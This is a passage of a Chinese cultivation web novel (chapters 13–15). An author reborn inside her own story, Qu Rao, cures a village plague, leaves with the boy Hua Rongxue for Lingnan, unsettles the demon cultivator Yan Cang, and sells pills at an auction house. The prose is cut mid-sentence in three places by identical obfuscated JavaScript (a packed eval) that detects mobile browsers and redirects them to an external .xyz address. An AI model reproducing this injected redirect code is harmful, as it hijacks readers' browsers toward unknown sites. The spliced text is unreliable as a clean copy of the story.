“天降异象,却不是师姐想要的。”落子符回想起自己看到的场景,他眉头轻皱,言语中有些忧愁,“不过是一炼丹师的丹药所得。” 华晔:“炼丹师?!” 这年头,谁家炼丹师能炼出引发天地异象的丹药啊!? 原本还发愁事情的华晔一下子就被吸引了注意力。 雪发的修士毫不见外地席地而坐,一把钳制住旁边梳毛的野鹤,焦躁地替对方梳起了毛:“你说,那个炼丹师会不会是让我们宗门发扬光大的那个机遇?子符子符,快算算去!” 野鹤:? 它蹬了蹬腿没能从蛮力中逃脱,又很快就拜倒在雪发修士熟稔的梳毛动作中。 落子符无奈地看了一眼师姐怀中反抗不能的野鹤,叹息一声。 “师姐,凡事急不来的……”他顿了一下,随后又开始不间断的轻咳,“是又或不是,不过都是我的命罢了。师姐何必在意?” 华晔猛地抬头看向他,血红的眼瞳中透出难以置信来:“子符!” “你以为我是只为了你么!”她沉声道,“我们本就是无名无派的散修,圆无大师坐化之后,我们这种散修的境遇就愈发艰难。我,你,还有在这修仙界夹缝生存的散修都得拼了命地往上爬,才能不被那些有名有派的家伙当做登仙的棋子踩在脚下!” “这世道就是如此,你不去争,就只能当做踏脚石被踩着!” 原本被梳毛舒舒服服得差点闭眼睡着的野鹤忽然醒神,恋恋不舍地离了华晔的手,飞往看不见远处的高山迷雾中。 她站起身。冷着脸不说话的女修看上去格外不近人情。 “你别以为我只是为了你!为了治你那劳什子的病……才不是!” 华晔焦躁地在他面前走来走去,“我们刚成立的宗门需要的东西多得很,什么都得争,什么都得抢!倘若那炼丹的人同样无名无派,或许能将人拐进宗门……若是有,也说不定能交个朋友,之后也能行个方便。” 落子符又叹了口气。 他这师姐着实面冷心热。 “子符!”面冷心热的师姐又开始叫唤了,“快去算算!” 落子符无奈道:“能引发那种天地异象的炼丹师,怎么会没有师传?” “算一下又没什么事!” 他就只好掐指捏算,索性这种程度的卦并不耗费多少心神,只不过在得出结果之后,落子符眼中有丝愕然。 “怎样?”华晔一把蹿到石桌边,小心翼翼地观察他的神情。 “那个炼丹师……并无师承,无门无派。”落子符先说了结果,只是语气格外迟疑。 华晔大喜:“真的!?太好了,我观异象是凤麟洲而来,且待我前去试探……结交一番!” 话音刚落,眼前就没了雪发修士的身影。落子符没来得及阻止,心神一动喉咙中的咳嗽就抑制不住地涌出。 只不过这次并未见血,似乎是单纯的受了寒气。 他擦了擦嘴角,坐在石桌边想起了刚刚算到的卦象。 “虽无门无派,但承天运,接地利……这个炼丹师,不简单啊。” 落子符抬眸望向远山,又一次抓起了桌上散落的著筷。 “希望师姐能得偿所愿吧……且让我再算算,再算算……” ** “咳哼。” 又是一声喷嚏被压下。 屈娆忍不住揉了揉鼻子。 奇怪,她不是都炼体筑基了吗?怎么还会这么容易感冒生病? “仙长?” 正在指挥着下人将熬好的米粥盛上来的仁伯转过头,“可是身体不适?夜露正盛,仙长忙了许久,还是多休息休息吧,这儿交予我那两个女儿来就好。” 远处正施粥的秋沐春和秋挽夏竖起了耳朵,两个姑娘自以为不动声色地朝着那位神秘仙长投来好奇的目光。 好年轻的仙长!好俊俏的仙长! 修仙的人,都是这般年轻好看吗? 沐春和挽夏对视了一眼,两个姑娘促狭地对彼此笑了笑。 “无妨。”屈娆忍下了喷嚏,等了一会儿后慎重道,“灵枢净厄散都投放下去了么?” 仁伯精神一震,忙道:“都放进粥里了,刚有几个病重的吃了粥,脸色一下就好了不少。” 他拱手要作揖:“还未谢过仙长,请仙长受我一拜!” 屈娆:“大可不必!” 修士一下拔高的声音吸引了不少乡人的注意,所有人都看见这个年轻的仙长咳嗽了一声,移转了目光淡然道:“不过举手之劳。” 多么慈悲的仙长! 华邑庄的人捧着热乎乎的米粥,心里涌上无穷的暖意。 只有灾厄在一旁嗤笑:“你这家伙有什么不好意思的!那些人就该膜拜膜拜你。” 偶尔出来转悠的灵剑左一句右一句,第无数次在屈娆身旁刷存在感:“也不知道你到底是从哪儿冒出来的,简直不像是修仙界出来的家伙——喂,屈娆,你听得见我说话吧?” 修士目光淡然,眼神从未停留在剑灵的身上。 灾厄狐疑地在她面前转过来又转过去。 灾厄:“屈——” “嗖”的一下,修士毫无预兆地伸手将灵剑抓握,随后收纳至心口。 灾厄:……喂!!? 这家伙绝对听得见它说话!!肯定的!! 约莫半个时辰后,灶火大锅里的米粥被分发殆尽,最后一点儿都被秋沐春舀出,和妹妹分着这点喝了。 她姊妹和幼弟华融雪不一样,身体棒得能打死一头田里耕地的公牛,这次惹得华邑庄人心惶惶的瘟疫也没能近姊妹俩的身。只不过仙长赐下的仙丹可不一样,能喝到一点总是好的。 果不其然,服下丹药后哪怕没病,秋沐春也依旧能感觉到精神比平日里要好上那么一些。 十二枚灵枢净厄散有十一枚溶于米粥被华邑庄的人吃下,乡人或苍白或病痛的神情立刻见好,剩下的一枚屈娆交给了仁伯。 “若是周围还有被影响的人,可以将这药稀释后交给对方。” 仁伯捧着千金难求的仙丹,感动得眼泪汪汪:“仙、仙长!” “仁伯不必如此。”见自己笔下的小老头这么肉麻地叫自己,屈娆头皮发麻,面上还得端住。 “恩人仁德,华邑庄人皆拜服。” 秋晚香的声音从一旁传来,两人侧身望去。 身着鹅黄秋棠纹衣袍的秋夫人身后还跟着华融雪,一前一后看上去就像是秋夫人长了个小尾巴。 “恩人,”秋晚香上前一步,拉着畏畏缩缩看着屈娆的华融雪,“我儿他……” “离魂症。”屈娆回忆着自己的设定,很爽快地解答NPC的疑惑,“人有三魂七魄,华融雪只有两魂四魄,其一魂三魄不知所踪。想要他回归正常,只能修补魂魄,让那仅有的两魂四魄再生。” 这…… 夫妻俩对视一眼,对这个新奇的说法感到惊异。 不过对方淡然的态度让俩人又不自觉地信服。仁伯下定了决心。 “求仙长救我儿!” 仁伯深深作揖,他知道眼前的仙长不喜大礼,但他现下的确不知道该予这位仙长什么回报。 “无论仙长需要什么,我华仁一定拼尽全力为仙长寻来!” “修补魂魄……” 屈娆想了想自己在小说里写过的法子。 其实还挺多的,这得益于狗血文女主神魂差点被灭三次的剧情设定…… 小说作者目光飘移了一瞬。 但这些微的停顿让敏锐的秋夫人捕获了,她大概猜出这件事并不好做,看了一眼身后依旧傻乎乎的三子,又望了一眼带着希望的阿仁。 秋晚香深吸一口气:“仙长。” 她没再叫“恩人”,而是从脖颈上戴着的饰品上掏出了一件物品。 那是……一个月牙形的玉石。石身呈冷黄色,玉的材质上染上了丝丝缕缕的红色晕纹。 屈娆下意识道:“血牙玉?” “这,”秋晚香没想到修士能认出这个来,面上是掩盖不住的讶异,“仙长认识这个?” 屈娆自己写的小说就这点好,不管在小说设定里多么小众的东西,她都烂熟于心。 血牙玉这个东西虽然小众但不算什么珍宝,设定上是普通人用来温养身体的工具。在普通人眼中是珍品,稀少而贵重。在修士的灵市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160782|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和黑市中,则是因为太普通而小众。 就像狗尾巴草一样,田间乡野的路边总能看见,但过路的人少有特意采集去售卖的——即便它真有药用的价值。 “此物是祖母传予我,”秋晚香摩挲着温润的玉料,语气中带着怀念,“祖母在世,常说这玉是仙人赐给她的,让她得以从那场荒灾中活下来。沐春挽秋年幼时也常带过一阵,只是融雪他……” 说到多病多灾的三子,秋夫人语气无奈。 “这玉似乎对融雪不起作用。” “并非无用。”修士说,动作自然地从秋晚香的手中接过这月牙似的玉石。淡黄与血色混杂的玉石看上去并不斑驳,反而有种黄昏血月的既视感。 屈娆盯着血牙玉目光都快烧出个窟窿来了。 “血牙玉对人的身体很好,能够吸纳人体杂质,有强身健体的功效。”对现在体修菜鸟的屈娆是绝对的修炼利器!狗血文女主烬粟用过了都说好! “但对魂魄无滋补功效。”修士的语气平静,抬眸看向秋夫人的时候甚至带有些许安抚的意味,“夫人对令子已尽心尽力。” 原本失魂落魄的秋晚香对上她的视线,心被触动了下。 “仙长……”她深吸一口气,道,“仙长既知此物,想必知道这并非贵重珍宝。” 秋晚香艰难道:“可晚香所有之中,只剩这枚血牙玉是珍藏。别的些金银细软,也请仙长笑纳。求求仙长……” 她闭眼,惶恐又酸涩地朝着修士的方向跪下:“救救我儿融雪吧!” 秋晚香没能跪下去。 “我不喜这些礼节。”修士无喜无怒的声音响起,她托起秋晚香,目光在那个傻子青年身上探查。“不过……” 寄生在华融雪体内的妖王悚然,浑身紧绷,做好了防备。 “我说过的事,会做到的。”屈娆说,“血牙玉我暂且收下。治疗华融雪离魂症的关键还需一味药材,不在此处,往岭南方向去或许会有。” 见秋晚香站起,修士拱手告辞。 “滋补魂魄非一日之功,在此期间,令子需与我同行前往岭南。” ——绝不可能把华融雪就这么放在华邑庄等云无涯来干掉拿业绩!! 毕竟他体内的可是妖王啊!哪怕是重伤的妖王,那也是妖王!屈娆绝对不可能把这天大的业绩送给狗血文男主升职加薪的! “这……” 仁伯有些迟疑。 但秋晚香倒是毫不犹豫:“有仙长相助,是融雪还有我们的福运。” 比起让三子浑浑噩噩痴痴傻傻的活着,她更想争取下幼子不同的命。 “多谢仙长,”秋晚香拱手行礼,这一次修士没有避开,她郑重道,“融雪……就交予仙长了。” 修士回礼:“定不负所托。” ** 天亮过后,那位神秘又仁爱的仙长就离开了此地。除了新增的小尾巴华融雪之外,修士只带了些乡人热情塞来的吃食和一枚血牙玉。 至于金银细软?她什么都没收下。 “娘。” 女儿的声音从身后传来,秋夫人回头看去。 挽起袖管盘起长发的沐春看上去格外干爽利落。她凑过来的时候,秋夫人嗅到了她领口间的药香。 “小雪他会没事的吧?” 秋夫人理了理她的鬓角,轻声应道:“嗯,有仙长在,会没事的。” “娘。”女儿扑进她的怀里,抬头时眼睛亮晶晶的,秋沐春小声道,“那个仙长和我们见过的修士完全不一样。” “对啊对啊,”挽夏不知道从哪儿冒出来,脑袋点点,“真不一样!那些修士什么时候平视过我们?只有这位仙长不是,她的眼睛里全都是我们!” 秋夫人失笑。 “那是仙长人好。”她摸了摸挽夏的脑袋,小女儿摇头晃脑地避开,嘟囔着我又不是小孩了。 秋晚香望着修士离开的方向,目光悠悠。 “希望好人有好报,好人的前路要更宽敞鲜亮……”她喃喃道。 “——什么仙长?” 头顶上空忽然传来陌生的声响,秋夫人瞳孔紧缩,下意识抬头。 一道素白身影踏风而来,衣袂翻飞似流云坠雪,腰间一柄长剑未出鞘,却已激得四周空气隐隐震颤。足尖一点,落至飞檐,瓦片竟不响半分,恍若凌虚而行。 元婴期的修士居高临下地看着下方惊愕的华邑庄众人,冷声开口: “在下青天宗弟子,云无涯。” “路过此处时,在下探查到妖邪气息,此番前来是为了——” 他锐利的目光从底下众人或是惊讶或是警惕的脸上滑过。 “除妖。” 14.第十四章 “不是,要我说你干脆转成佛修算了,怎么有这么多的烂好心呢?” 灾厄又不甘寂寞地溜了出来,围在屈娆周身开始唠唠叨叨。 “你拿些吃的又有什么用?再不济拿些钱也好啊!” “那里的家伙也真不上道,想要孝敬修仙的人,拿什么吃的!” “对了,你真打算去那劳什子的岭南啊??你认真的吗屈娆??” 灵剑围着她转了一圈又一圈,像是在打量什么珍稀灵兽一样。 “还有那什么血牙玉,邑不渡那老混蛋留下的东西有多少啊?你不去拿,偏生到这里拿了这么一个玩意儿,承了这么个人情……”一想起这个,灾厄就感觉自己冰冷的剑身都要红温了,它痛心疾首地开口说到一半,猛地顿住意识到了什么。 “你该不会是故意的吧!?” 灾厄发出谁也听不见的尖叫:“别告诉我你真是这么想的——屈娆!你个笨蛋老好人!!” 邑不渡那老混蛋要是把他一半的心机分给你也不至于让它这么难受啊! 这个叫屈娆的家伙,你到底、你到底—— 屈娆都怕它大脑cpu给烧炸了,如果这柄剑有那玩意儿的话。 她没管絮絮叨叨的灵剑,而是开始思考接下来的事。 去岭南当然不是屈娆一时脑热。 虽说岭南那个地方虫蛇毒物多,瘴气丛生以至于妖修魔修也多,但更多的还是那儿潜藏的秘境与珍宝。 作为该狗血小说的作者,屈娆当然知道怎么用最小的代价去换取最大的利益。而岭南,就是她获得最大利益的下一个目的地。 至于灾厄一直叨叨的什么“为了个傻子去岭南找药”这件事,的确有考虑,但那只是顺带好吗? 屈娆自觉自己救了本该死在云无涯手中的华融雪已经很够意思了,而专门去岭南找药材?哈哈,怎么可能呢。 具有滋补神魂的“七转回魂花”不止岭南有,谪仙洲也有,只不过谪仙洲那个地方邑不渡的仇家多,带着灾厄去估计很容易被认出来。倒不如去岭南找秘境的时候顺带摘一朵回来炼药,也算方便。 “——我就说吧!你这家伙怎么可能去拿那屁用没有的血牙玉!原来早料到了!” 突然在耳边爆发的声音让沉浸在自己思绪里的屈娆猛地回神。 她下意识地昂头看向声音的方向,然后意识到了什么紧急转向,将脑袋往身后华邑庄的方向偏去。 呼……差点露出破绽。 灾厄没察觉到她做出这个动作的心路历程,剑灵看着华邑庄上方忽现的多个修仙者,一边凝气匿神,一边怒气冲冲地俯剑而下,落在目光平静的修士身旁。 “华邑庄那儿来了好几个修士,有一个身上还戴着青天宗的宗门护身罩,”灾厄憋着气对淡然的修士嚷嚷,“你就是算准了这个,才把这家伙带走的吧!不然这家伙迟早会死在华邑庄内,死在那夫妻俩面前!” 回应它的是修士再次戴上漆黑兜帽的动作。 “走吧。”修士的声音平静却不容置疑,转身朝着深山走去,“跟我来。” 在她身后,傻乎乎的青年乖顺地跟上黑衣修士的脚步。 只有寄生在深处的妖王借着华融雪的眼睛回望离开不久的华邑庄,若有所思。 ** 岭南在凤麟洲的边界处,再往外就不是划分好的洲了,而是一片混沌无序的野蛮之地。 屈娆转生落地的地方在凤麟洲往北,徒步走了四五天才到中部的华邑庄。现下又要往更南的地方走去,如果依旧徒步估计得走上十天半个月——还是不吃不喝不睡的情况下。 之前没摸到修仙门槛,屈娆身上也没什么货币,就只能徒步。 但现在不一样了。 她虽然没从华仁和秋晚香手中拿到银子,但她身上有炼好的丹药啊! 找个灵市或者黑市卖掉,就有些灵石入账,再怎么说前往岭南的交通费还是能赚回来的。 屈娆从兜里把带来的酥饼塞给跟在身后可怜巴巴的青年,后者接过后眼睛都亮了,却也还是掰了一把,将大的那块递回给她。 “吃……你吃。”华融雪含混地开口,差点没兜住快要落下来的口水,毫无顾忌地擦了一把后,又将那一多半往屈娆眼下凑。 老实说她其实不饿。没有痛觉就意味着就连饥饿也办法奈何她,更别说筑基之后总感觉浑身上下暖洋洋的,一点也没有饿到的感觉。 “你吃吧。”屈娆说。 而且她真不馋这点酥饼,她馋现代的精加工枣泥馅饼,那玩意儿清甜清甜,屈娆不爱吃甜食都能抱着啃一天。 “我说你收些什么吃的干甚,筑基的修士不至于还馋这些,”灾厄悄悄探出剑柄,阴阳怪气道,“感情是给这傻子带的粮食啊。这家伙身上不还有个祸患吗?饿不死的,何必管他呢?” 瞧那修士低眉顺眼的样子,灾厄就知道这家伙又开始装听不见它说话了。 灾厄:……哼! 走了约莫半天,日头从东出,现下也已快要西沉,屈娆两人一剑终于翻过山岭,走到了宽敞的官道上。 官道边尘土飞扬,想来前不久有马匹经过。而前方不远处,就是驿站。而修士换乘工具的场所也在旁边,不过另有称谓。 “巡天司……” 缩在华融雪体内的妖王看见了远处的空纹,上面用灵力镌刻着“巡天司”这三个大字。他瞳孔收缩了一瞬,开始怀疑前面领路的修士是不是准备把他带到人多的地方给干掉。 应该不能吧? 虽然初次见面并不愉快,但妖王并不怀疑这个修士的……人品。 至少看在华融雪这个傻子凡人的面子上,她不会动他。 想到这儿,妖王有些咬牙切齿。 没想到他阿卢罗竟然也有倚仗凡人才能活下去的一天! “到了。” 走了大半天,屈娆的体感就是“幸好筑基了”。不然按照这种翻山越岭的走法,现在她就该抱着自己的膝盖痛哭流涕了。 不过好在巡天司已到,接下来就不用担心走路的事了。 袖口中藏着在华邑庄炼好的丹药,因为材料并不特殊,所以炼成的丹药也很基础。 “聚气散”“凝元散”“淬体丸”“返春丹”…… 屈娆就留了几个能加血条的丸子,剩下的打算一并卖了换钱坐车。 也不知道能卖多少。 她有些心虚。 屈娆自己也知道自己炼丹炼得有多敷衍,材料随随便便地扔进药炉就算完事,要不是因为自己看到的东西和这里其他人不一样,别说成丹了,那炼药炉早就炸了不知道多少次。 算了,现在能卖多少是多少,反正之后到了岭南,那儿遍地都是材料。 她侧过身,一把抓住还在啃酥饼的华融雪,两人朝着前面走去。 在走过某个界限时,空间荡漾起水波似的纹路,紧接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175397|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着两人就这样消失在原地。 刹那间的天旋地转差点没让屈娆吐出来——她到底为什么之前在写这段时添什么“虚空扭转,万物颠倒,尔后眼前骤然开明”这种描述!? 一时间疯狂上涌的恶心感让她站定在巡天司的大门处没有动作。 所幸在来来往往格外繁忙的巡天司里,她的存在并不算引人注目。 “娆……娆?” 华融雪终于在这半天的路程中学会喊修士的一个字了,虽然听上去更像是某种含混不清的口水音,但至少在他出声后,让灾厄有些担忧的修士终于有了反应。 屈娆站在原地缓了两秒后,才从这种过山车般的眩晕恶心感勉强脱离。 下次炼丹的时候炼几枚防晕的药吧……嘶,好像叫“清心丹”来着…… 她一边乱想,一边没什么精神地垂头向露天的宽敞木梯走去。 所谓的“巡天司”简而言之就相当于现代长短途汽车总部,每次写到场景切换的时候,屈娆都会翻出记录过的设定集,将最开始的描写复制粘贴上去,因此这个地方就算她是第一次来,也不耽误屈娆走得轻车熟路。 巡天司的门口设有阵法,只有修士能够进入。木质的台阶刻着阵法的纹路,细看还有银丝般的灵力在时刻运转,往上去就是露天的宽敞空间,上面停着大小不一、样式各异的云辇和灵舟。越过围栏目光再往深处探去,就能看见各类灵兽或站或卧,好不安逸。 站在停台往右手边看去,就是高耸入云般的盘旋楼层结构的巡天司。 屈娆站在台阶上遥望,看着这在她笔下寥寥数笔的建筑就这样以极其恢弘的姿态出现在自己面前。 嗯,不错,和她最开始的构想相差无几。 在抬脚继续向上的时候,屈娆听到了耳边灾厄传来的声音。 “咦?那家伙……难道你刚刚站那儿看的人是他?这家伙是个魔修啊。” 剑灵狐疑地看向神情淡然仿佛刚刚没有发生那小插曲的修士,又看向站在露天平台边,正倚靠着栏杆冲着修士微笑的人。 魔修? “这位小友,” 还没等屈娆将眼前这个外貌平平无奇的魔修和小说内的角色联系起来,对方就先一步开口了。 “我从你身后那个小宠物的身上察觉到了很熟悉的气息……”魔修慢条斯理地开口,“看样子,我们是同类啊,小友。” 红黑色兽类般的眼瞳紧紧锁定眼前的黑袍修士,魔修勾起嘴角,等待着眼前修士露出慌乱的姿态来。 只不过下一秒,他脸上戏谑的神情被一句话弄得满面空白。 “燕苍。” 黑袍修士只是淡淡扫了他一眼,就瞬间识破了魔修的伪装,语气笃定:“快跑吧。” 燕苍:? “我观你有血光之灾。”黑袍修士从他身边淡然略过,只留下一句平静却意味深长的定论。 “三日不离凤麟洲,燕苍必暴毙葬身于此地。” 话音落入耳中的瞬间,魔修全身被突然而来的战栗与危机感禁锢在原地,久久不能动弹。 约莫半柱香后,他才从这种诡异的感触中恍然回神,额冒冷汗,带着惊异转身看去。 黑袍修士已消失在身后巡天司所设的楼内。 好强悍的气势……! 一照面就识破了他的伪装,还丢出这种结论……是威胁?还是单纯的恫吓?? 这家伙——到底是谁!? 15.第十五章 来自现代社会的三次元作者屈娆,其实她自个本人根本分辨不出魔修、邪修、妖修、鬼修这些不走寻常路修士们之间的区别。 哪怕这些人是她亲手创造出来的。但要知道平面设计出的文字现在变成三次立体形象出现,不管是谁都得分辨好一会儿吧? 还是灾厄的那句“魔修”,以及燕苍本人一肚子坏水似的开口说“咱俩同类”,屈娆才慢半拍地从脑子里挖出这么个角色。 燕苍的确是个魔修,还是个使大刀的火雷双灵根魔修。大部分魔修有个很容易看出来的特点:暴戾且好斗。相由心生,所以一般来说对比其他几个偏门,魔修算是更好区别的一类。 但这次上巡天司的燕苍做好了伪装,所以屈娆没能第一时间将对方和那个剧情中期的傀儡小BOSS联系起来。 说起燕苍…… 屈娆想着,抬脚跨入巡天司的门槛,直面高楼内那金光闪闪的装饰和内容物后,被富有的光彩闪得眯起了眼睛。 那家伙好像就是在华邑庄瘟疫爆发扩散后的一段时间内,被另一个前来捕捉收集素材的邪修抓起炼作傀儡。 这在原剧情中算是“华邑庄瘟疫”的遗留问题。 毕竟当时狗血文男主云无涯越级斩杀妖鬼华融雪后,自身也伤得不轻,着急回宗门调养也没空探查周边。 总之,屈娆让这个“遗留问题”有意无意地苟到了剧情中期,等到女主烬粟重回凤麟洲后,作为一个小BOSS喂给了女主充作升级经验,也让女主窥见了自己曾和男主有过千丝万缕的关系。 作为一个推动剧情和经验包的小BOSS,燕苍的存在还算重要。 不过现在既然燕苍没有被炼成傀儡,屈娆觉得能救一下是一下——她说的是救自己。 毕竟为了打败这个傀儡小BOSS,女主烬粟也没少吃苦受伤。 屈娆一回想起自己在剧情中写下“万刃穿身刺骨刀”时用尽手段的描写,自己就先忍不住打了个寒颤。 哈、哈哈,人生何苦为难自己呢?多做好事,多问前程……毕竟拯救他人就是在拯救自己啊! 她嘴角讪讪地扬了一下后,就放平了心态,开始寻找自己的目的地。 从外面看时只能感慨巡天司修建的楼之高,但真正走进来后就只能感慨巡天司背靠人之豪。 【……璇阶九转接云衢,玉阙千寻镇八隅。星斗为灯悬藻井,山河做障列晶屏。瑶砖踏去生烟霭,步步金阶步步天。】 雅,实在是大雅! 屈娆瞅着那金灿灿的金砖台阶,酸溜溜地心想:谁看到这俗气的大金砖能不说句大雅? 盘旋而上的金砖一共构造了九层。虽说一旁有灵石作为源动力的速攀梯,但要论视觉冲击那肯定还是大金砖更吸引人。 ……至少吸引屈娆这个来自现代的大俗人。 巡天司的楼内空间很大,楼内流动的修士大部分都赶时间去做速攀梯,而那九层楼的大金砖梯上面反倒是空荡荡,被迫成了装饰。 拍卖行在三楼,不算特别高。 屈娆想了想,还是对大金砖做的楼梯蠢蠢欲动。反正三楼不算很高,走着上去权当日常锻炼了。 于是就在喧闹的巡天司楼内,所有路过的修士都看见了那个踩在金阶缓步向上的黑袍修士。 修士的速度不算快,看着她抬脚的步速还有些温吞。一步一个脚印,明明是稀疏平常的向上动作却被这样一个古怪修士做得格外虔诚。 “什么情况……?” 匆忙过路的修士见此奇观,无一不驻足旁观。一个个瞠目结舌,看着那盘旋的金色长阶上那道黑色的人影。 “不是,”一个紫头发的符修张了张嘴,目瞪口呆,“这家伙……打算肉身成圣吗??巡天司的金阶那可是用灵压养护的啊!?” 身旁同样看奇观的修士也是一副吃惊样:“难不成是体修?借用巡天司的金阶来炼体?” “啥体修能强成这样??”符修下意识反驳道,“再说了,巡天司金阶上的灵压可不只对肉身有压迫,更关键的是巡天司的金阶可是有合体强度的神魂灵压——” 但现在正走在金阶上的那家伙,好像完全没有感受到啊!? 这、这这……强得有点可怕了吧!?能硬抗合体威压的修士,怎么会来巡天司??不应该是分分钟缩地成寸阵法转移吗?? 于是每天人流量巨大的巡天司在此刻出现了极其怪异的场景:一个黑衣修士心无旁骛地登上充斥着灵力威压的金阶盘旋而上,而在金阶的下方,一大群停驻的各异修士站在原地忘了自己的目标,集体抬头一眨不眨地注视着最高处的黑衣修士。 燕苍跟进来的时候正巧目睹了这奇观一样的风景。 他先是愣了一下,随后顺着人群的目光向上看去,恰好看见那个眼熟的黑衣修士踏上了三楼的平面。 再之后就没见到对方的身影了。 大概过了五六秒,旁边像是傻子一样抬头上看的修士们才后知后觉地发现黑衣修士没再向上继续攀登后,齐齐发出了可惜的气音。 燕苍:? 什么情况。 巡天司大厅发生的事,屈娆不知道。得益于她现如今强健的躯体,一口气登上巡天司离谱的三楼高度也没有问题。 她踩在平台上后,又迅速去速攀梯去接人。 没错,华融雪和灾厄没跟着她一起走大金砖上来,而是搭乘的电梯。毕竟她一个人走台阶没什么可看的,但带着一个有妖气的华融雪就有看头了——巡天司不限修士的进入,保不准带着妖气的华融雪就被不怀好意的邪修瞄上,屈娆可没有自找麻烦的兴趣爱好,就干脆让灾厄带着对方走快捷通道,自己去体验一下大金砖的威力。 你别说,脚踩金砖带来的体验感还是不一样哈,她走着走着都感觉自己腰板挺得嘎嘎板正! 速攀梯上下的修士很多,所以哪怕屈娆是走上来的,也在一旁等了大概三五分钟才等到华融雪上来。 不过—— “嗨,小友。”同样跟在身后走出来的魔修笑眯眯地开口,丝毫看不出之前恐吓屈娆时的那种自傲硬气,“真巧啊,我们又见面了。” 屈娆:…… 小说作者从不相信巧合。 燕苍看见黑衣修士不含任何情绪的平淡地看了他一眼。结合之前对方给他下的判词,他有些不自在地摸了下易容的假鼻子。 “灾厄。” 临时监护剑从华融雪的背后慢慢飘出,几乎是擦着燕苍的侧颈而过,最后飘在了黑衣修士的身后。 燕苍一时摸不准这动作到底是对方故意还是无意的。他面上带笑,但只有燕苍自己知道在那把剑出现的瞬间,他有多么僵硬,直到黑衣修士再度开口。 “华融雪,跟我走。” 她竟是无视了他! 身上带着点妖魔气息的青年直愣愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185393|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跟了上去。 燕苍就站在原地,目光追着那两道身影离开,而黑衣修士前往的方向……拍卖行? ** 不对劲。 很不对劲。 屈娆心想。 她进了拍卖行之后,就找人把炼出来的丹药死卖。这点基础丹是无论如何也卖不出多高的价格。 收东西的人是一位年轻的女性,她看了一眼丹药之后,又请了拍卖行的丹师来鉴别,最后给了屈娆“三百五十七万上品灵石”的高价。 “您看如何?”拍卖师恭敬地开口,目光落在那位黑衣修士白皙的下巴上。 而后者并没有立刻应答,沉默了片刻。 拍卖师回想起刚刚丹师给出的手势,暗自咬牙,又往上加了五十万灵石。 “四百零七万上品灵石。” 这次黑衣修士回话了:“灵票。” 拍卖师愣了一下,反应过来后迅速道:“当然!” 这场交易就这样确定了。 数额巨大的灵石在短短一刻后,就这样被兑换成薄薄的灵票,收入了屈娆的袖中。 死卖和寄卖是不一样的,寄卖是根据最终拍卖价,扣除一定的寄存手续费后所得才能到寄卖者手中。死卖就是拍卖行自行买下,之后拍出的价格是多少都和屈娆无关。 这样也正好,因为屈娆现在可没时间留在巡天司等到丹药高价售卖——再说了这种基础丹药再怎么包装,在修士眼中也卖不了高价。 虽然不知道为什么对方会高价买下这些丹药,但屈娆没能管那么多,时间紧,任务重,她现在就该离开这儿前往岭南。 至于死卖的丹药会引发什么后果,没关系,她身上有臧命袍,至少在一年的期限中她谨慎行事,就没人能够找到屈娆的踪迹。 在对比价格之后,出于某种思量,屈娆最终带着华融雪挤上了一艘两百人的拼船,前往遥远的岭南。 但她不知道的是,这次经由她手炼制然后卖给拍卖行的丹药,竟然即将引发一场牵连修仙界诸多势力的调查。 “——虽是最为基础的丹药,但品质却比一般丹师炼制的要更好。”拍卖行内,丹师看着黑木凰纹盒中飘逸着丹香的几枚丹药,道出了原委,“对筑基之上的修士或许没有多少帮助,但对筑基之下的人有无害的大用,这很难得。” 拍卖师皱眉:“卖给那些普通人?” “不。”丹师将盒子收好放回,闻言意味深长地开口,“修仙界从不缺人傻钱多但无法修仙筑基的修二代。” “修仙……是需要天赋的。而没有天赋的人,总会需要强求的办法。而没有任何副作用的丹药将会是他们的救命稻草。” 丹师给出了最后的建议:“这几枚丹药不能公开售卖。小文,别担心回不了本,对于巡天司来说,信息比金钱更重要。” “而如今,只有我们才知道,一个很有可能炼制出天阶灵丹的潜力丹师的下落。” 话音刚落,门外就有人找来。 “纪师!青、青天宗掌门——” 纪宜然哼笑一声后,侧目看向身旁的拍卖师文若:“你看,比金钱还要金贵的存在不就来了么?” “还有符纹山掌门,天山池长老,仙山台宗师,四大派鬼修……都、都来登门拜访了!” 纪丹师脸上还未完全展开的笑容猛地僵住。 等等。 有点……不太对??